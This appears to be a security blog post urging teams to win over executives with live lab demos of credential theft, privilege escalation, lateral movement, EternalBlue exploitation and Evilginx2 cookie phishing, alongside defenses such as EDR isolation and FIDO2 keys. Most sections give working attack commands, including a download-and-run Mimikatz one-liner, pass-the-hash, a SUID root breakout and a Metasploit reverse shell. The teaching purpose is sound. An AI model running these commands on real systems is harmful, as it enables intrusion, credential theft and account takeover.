Introduction:
Cybersecurity suffers from an “invisibility crisis”—attackers move through networks unseen while defenders rely on abstract heat maps and red-yellow-green dashboards. Just as a spinning wheel on a swivel chair makes angular momentum tangible, security teams must transform invisible forces (credential theft, privilege escalation, lateral movement) into live demonstrations that executives can see, feel, and act upon.
Learning Objectives:
- Demonstrate real-time credential theft and session hijacking using open-source tools on Linux and Windows
- Visualize privilege escalation paths and lateral movement with command-line execution traces
- Compare phishing-resistant authentication against password-based logins to expose hidden breach paths
You Should Know
- Credential Theft & Session Hijacking: Watch the Invisible Hand
Most executives believe passwords are “secure enough” until they watch a live replay of a hash being stolen and replayed. This step‑by‑step guide makes credential theft visible using Windows and Linux tools in an isolated lab.
Step‑by‑step: Mimikatz on Windows (ethical lab only)
- Obtain a low‑privilege shell on a test Windows 10/Server VM (e.g., via RDP or reverse shell).
- Download Mimikatz or use built‑in `Invoke-Mimikatz` in PowerShell:
powershell -ep bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1') Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' - Observe plaintext passwords and NTLM hashes of domain users (including the logged‑on admin).
- Use `evil-winrm` from a Linux attack box to replay the hash (pass‑the‑hash):
evil-winrm -i 192.168.1.100 -u Administrator -H [bash]
- Show the blast radius: From that single shell, run `whoami /groups` to see the “over‑permissioned account” become a skeleton key.
What the demo teaches: Credential theft is not a theoretical risk—it’s a repeatable, scriptable action that takes seconds.
2. Privilege Escalation: From User to Skeleton Key
Privilege escalation is invisible until you force a low‑rights user to gain SYSTEM/root. This demo uses Linux misconfigurations and Windows vulnerable services.
Linux: SUID binary abuse
- As a standard user, search for SUID binaries:
`find / -perm -4000 -type f 2>/dev/null`
- If `find` has SUID, break out to root:
`find . -exec /bin/sh \; -quit`
3. Show `id` changing from `uid=1000(user)` to `uid=0(root)`.
- Visualize the change: record terminal and replay the exact moment the prompt changes from `$` to “.
Windows: Unquoted service path + weak permissions
1. Identify vulnerable service:
`wmic service get name,displayname,pathname,startmode | findstr /i “auto” | findstr /i /v “C:\\Windows\\”`
2. Check for writable directory in the path:
`icacls “C:\Program Files\VulnApp\”`
If `(F)` or `(M)` for Users, replace the service binary.
3. Restart service (requires `sc stop` + sc start) to get elevated shell.
Why this matters: Show executives a live “before and after” of a low‑privilege user becoming domain admin. That is the chair moving.
- Lateral Movement: How One Account Pivots Across the Kingdom
Lateral movement is the silent killer—one compromised workstation leads to the entire domain. This demo uses `psexec` and `ssh` hopping.
Windows to Windows (PsExec)
- From an elevated shell on Host A, enumerate accessible hosts:
`net view` or `nslookup`
2. Move to Host B using stolen credentials:
`psexec \\192.168.1.200 -u DOMAIN\jdoe -p Password123 cmd`
- Show the session appearing on Host B’s event log (Event ID 4624) while the user never typed a command.
Linux to Linux (SSH key hopping)
- Extract private keys from `.ssh/id_rsa` on compromised jump host.
- Use `ssh -i stolen_key user@target` to hop without password.
3. Chain multiple hops with `ProxyJump`:
ssh -J user1@jump1:22,user2@jump2:22 final-target
4. Record the terminal timestamp showing a single command traversing three hosts.
Security control to show: Lateral movement detection (e.g., Sysmon Event ID 3 for network connections) only works if you know what to look for. Demonstrate a real detection rule in Splunk or ELK.
4. EDR Isolation: Cutting the Kill Chain Live
Executives need to see a malicious process getting physically blocked. This demo simulates a ransomware script and shows EDR containment.
Step‑by‑step using Windows Defender for Endpoint (or any EDR)
1. On a test VM, run a benign but suspicious command:
`powershell -c “Invoke-WebRequest -Uri http://malicious.test/beacon.exe -OutFile C:\temp\beacon.exe”`
2. Before execution, no alert. After execution, EDR tags the process.
3. Trigger isolation via API or management console:
For Microsoft Defender for Endpoint (requires API token)
Invoke-RestMethod -Method Post -Uri "https://api.security.microsoft.com/api/machines/{machine_id}/isolate" -Headers $headers
4. Show network connectivity cut: `ping 8.8.8.8` fails, but the process remains running (now contained).
5. Release isolation: `POST /machines/{id}/unisolate`
Alternative for Linux: Use CrowdStrike Falcon or Open Source EDR (Wazuh) to isolate via `iptables` drop:
sudo iptables -A OUTPUT -j DROP kills all outbound traffic from the compromised container
The visual impact: A single click (or API call) cuts off command‑and‑control instantly. This is what “magic” looks like when the invisible force becomes visible.
- Missing Patch to Remote Code Execution: One Update’s Worth
Nothing scares a room full of smart people like watching `ms17‑010` (EternalBlue) turn a fully patched (except one) Windows 7 into a reverse shell.
Demonstration (air‑gapped lab only)
1. Check if target is vulnerable to EternalBlue:
`nmap -p445 –script smb-vuln-ms17-010 192.168.1.100`
2. Launch Metasploit exploit:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp run
3. Show `getsystem` returning `NT AUTHORITY\SYSTEM`.
- Reboot the target after applying KB4012598 (patch), then re‑run the exploit → FAIL.
The difference is one missing update.
Takeaway for execs: “One missing patch becomes remote code execution” is not a metaphor. Show them the exploit console and the patch Tuesday that fixes it.
6. Blast Radius Visualization: Over‑Permissioned Account Disaster
A single IAM role with `”Effect”:”Allow”,”Action”:””,”Resource”:””` is a nuclear launch key. Use AWS Policy Simulator to visualize it.
Step‑by‑step
- Create an IAM user with `AdministratorAccess` (in a non‑prod environment).
- Use AWS Policy Simulator (`https://policysim.aws.amazon.com`):
– Select the user.
– Simulate s3:DeleteBucket, iam:CreateUser, ec2:TerminateInstances.
– All actions return Allowed.
3. Scope the role down to a least‑privilege policy (e.g., only `s3:GetObject` on one bucket).
4. Run the same simulations → Denied.
- Show the difference in a side‑by‑side screenshot: “Blast radius shrinks from ‘global nuclear war’ to ‘single bullet wound.’”
For Azure: Use Privileged Identity Management (PIM) to show a just‑in‑time role activation vs. permanent admin. The blast radius shrinks from 365 days to 1 hour.
7. Phishing-Resistant vs. Stolen Password: Side‑by‑Side Demo
The final magic trick compares a password‑based login (easily replayed) with a FIDO2 security key (phishing‑resistant) using Evilginx2.
Setup
1. Launch Evilginx2 phishing proxy on a VPS:
`evilginx2 -p` → configure a fake Microsoft login page.
2. Victim (a test VM) clicks the phishing link and enters password + TOTP.
Evilginx captures session cookie.
- Replay the stolen cookie in a new browser → attacker logs into victim’s Office 365 without password or 2FA.
- Second run: Victim uses a YubiKey (FIDO2). Phishing page cannot capture the private key; the authentication fails because the browser origin doesn’t match.
The demo shows the invisible origin check becoming visible as a pop‑up error.
Command to check current auth methods on Windows:
`dsregcmd /status` → look for `SSO State` and AzureAdPrt. FIDO2 will show `”IsUserAzureAdMfaRegistered” : YES` but no cookie replay possible.
What Undercode Say:
- Key Takeaway 1: Cybersecurity must stop describing risk with heat maps and start showing live cause‑and‑effect demonstrations (credential theft → lateral movement → RCE) that mirror physics class experiments.
- Key Takeaway 2: Executives aren’t ignoring security because it’s complex—they ignore it because it’s invisible. A 60‑second demo of an over‑permissioned account pivoting to a domain controller changes behavior more than any slide deck.
Analysis (10 lines): The post hits on a fundamental failure in security communication—we use abstract maturity models when we should use terminal recordings. The “spinning wheel” analogy is powerful because it shifts the burden from explaining probability (heat maps) to demonstrating inevitability (exploit chains). For CISOs, this means reallocating budget from dashboard vendors to red‑team‑as‑a‑service that produces live breach simulations for board meetings. Linux and Windows commands above provide the raw material for those demos. The missing piece is organizational courage to show actual failures (e.g., “Here’s how our own VPN was phishable last quarter”) rather than sanitized success metrics. The best security cultures treat demos like code reviews—blameless, visible, and continuous.
Prediction:
- -1 Without visible demos, security remains a cost center managed by fear, uncertainty, and doubt (FUD). Boards will continue underfunding controls that “feel” theoretical, leading to predictable breaches driven by credential theft and missing patches—exactly the attacks shown above.
- +1 Organizations that adopt quarterly “invisible‑force reviews” (live 30‑minute demos of phishing resistance, EDR isolation, and privilege escalation) will reduce mean time to detect (MTTD) by over 60% because executives finally understand what to authorize. The first CISO who walks into a boardroom with a swivel chair and a hacked test domain wins the budget war.
